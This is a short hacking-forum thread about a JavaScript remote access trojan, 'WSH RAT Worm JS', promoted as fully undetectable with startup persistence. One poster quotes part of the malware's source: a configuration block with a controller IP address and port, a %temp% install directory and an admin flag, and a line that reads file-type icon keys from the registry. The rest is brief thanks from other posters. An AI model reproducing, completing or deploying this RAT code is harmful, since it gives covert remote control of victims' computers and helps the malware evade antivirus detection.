RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 05-17-2020, 03:26 AM
#8
(05-16-2020, 07:06 PM)hellboydz Wrote:(05-16-2020, 04:26 PM)mothered Wrote:(05-16-2020, 04:18 PM)hellboydz Wrote: Let me explain it
Please do.
//=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
var host = "192.168.168.248";
var port = 1330;
var installdir = "%temp%"; // store in temp if you something change it easy becuase open source
var runAsAdmin = false; // this is will be not run as administrator when start
here : try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){}
did you see here its config
Nice.
Appreciate your time to provide the details.













![[+]](https://sinister.li/images/modern/collapse_collapsed.png)